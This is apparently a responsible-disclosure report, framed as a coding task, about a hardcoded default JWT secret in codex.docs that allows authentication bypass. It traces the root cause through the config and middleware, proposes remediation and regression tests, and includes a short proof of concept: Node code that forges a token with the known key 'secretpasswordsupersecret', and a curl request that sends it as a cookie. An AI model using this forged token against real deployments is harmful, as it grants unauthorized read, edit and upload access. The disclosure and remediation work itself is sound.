[Security] Hardcoded default JWT secret enables full API authentication bypass

Start with src/backend/utils/appConfig.ts, docs-config.yaml, src/backend/routes/auth.ts, and src/backend/routes/middlewares/token.ts, then trace the /api middleware in src/backend/routes/index.ts. Review the existing configuration and authentication tests, or add regression coverage as suggested, with completion shown by rejecting known default credentials and forged tokens.

Hardcoded default JWT secret enables full API authentication bypass

Hello maintainers,

I found a hardcoded JWT signing key in codex.docs. The default password and secret are public, and the application concatenates them into the key used to sign and verify every authentication token. A deployment that does not override these values can be fully accessed through the protected /api routes by forging an authToken cookie.

Severity

Suggested severity: High, conditional on the deployment retaining the shipped defaults.

Weaknesses: CWE-798 (Use of Hard-coded Credentials), CWE-321 (Use of Hard-coded Cryptographic Key).

Affected reference: package version 2.3.3, current main at commit f0e14c1f143d02e040664216fdf273b6bca0c420.

Root cause

The default configuration contains the following public values (appConfig.ts#L142-L145):

'auth': {
  'secret': 'supersecret',
  'password': 'secretpassword',
},

The same values are also present in the distributed YAML configuration (docs-config.yaml#L28-L30):

auth:
  password: secretpassword
  secret: supersecret

The application uses their concatenation as the JWT key when issuing and validating tokens (auth.ts#L45-L53, token.ts#L13-L31):

const token = jwt.sign({
  iss: 'Codex Team',
  sub: 'auth',
}, appConfig.auth.password + appConfig.auth.secret);

const decodedToken = jwt.verify(
  token,
  appConfig.auth.password + appConfig.auth.secret,
);

Therefore, the effective signing key is:

secretpasswordsupersecret

The default config path is selected automatically and merged with defaultConfig (appConfig.ts#L160-L171). There is no check that rejects these known defaults.

Impact

The /api router applies verifyToken and allowEdit to every API endpoint (routes/index.ts#L13-L17). A forged token therefore passes the only authentication gate for:

• page reads and page CRUD operations (api/pages.ts#L34-L225);
• image and file uploads (api/transport.ts#L56-L138.

The attacker does not need the configured admin password or a valid login session. Knowing the public source is sufficient to create a valid authToken cookie.

Static proof of concept

No live deployment or dynamic environment is required:

const jwt = require('jsonwebtoken');

const forgedToken = jwt.sign(
  { iss: 'Codex Team', sub: 'auth' },
  'secretpasswordsupersecret',
);

console.log(forgedToken);

Send the result as the cookie expected by the middleware:

curl -i \
  --cookie "authToken=<forged-token>" \
  http://127.0.0.1:3000/api/pages

Expected result on a deployment using the defaults: the forged token passes jwt.verify() and the request reaches the API handler. Without a valid cookie, the same request is redirected to /auth by allowEdit.

Recommended remediation

1. Remove password and secret defaults from the tracked/distributed configuration. Commit only an example file with clearly non-operational placeholders.
2. Require a dedicated, random JWT_SECRET from the deployment environment and fail closed when it is missing or matches a known default.
3. Do not derive the JWT key by concatenating the administrator password with another static value.
4. Rotate the JWT key and administrator password for every deployment that used these defaults.
5. Add regression tests proving that the default configuration cannot start and that a token signed with secretpasswordsupersecret is rejected.

Related works

• GHSA-cwj8-7gp2-ggcw — default JWT signing secret enables token forgery.
• GHSA-mqq6-462x-jxmm — hardcoded JWT secret in a REST boilerplate enables authentication bypass.
• GHSA-cc4f-hjpj-g9p8 — weak default JWT secrets allow impersonation.
• GHSA-c8m8-3jcr-6rj5 — static fallback JWT secret permits forged tokens when authentication is enabled.
• LibreChat credential-removal commit — removal of published credential defaults.
• GHSA-gc24-px2r-5qmf — hardcoded signing secret combined with missing authentication checks.
• GHSA-4m32-cjv7-f425 — hardcoded JWT signing key enables authentication bypass and follow-on impact.
• GHSA-v9q6-fm48-rx74 — hardcoded session secret enables forged authentication state.

This report is part of my ongoing security research. If you have any questions or would like me to clarify any detail, please feel free to @mention me at any time. I would be genuinely pleased to contribute, even in a small way, to improving the security of your product.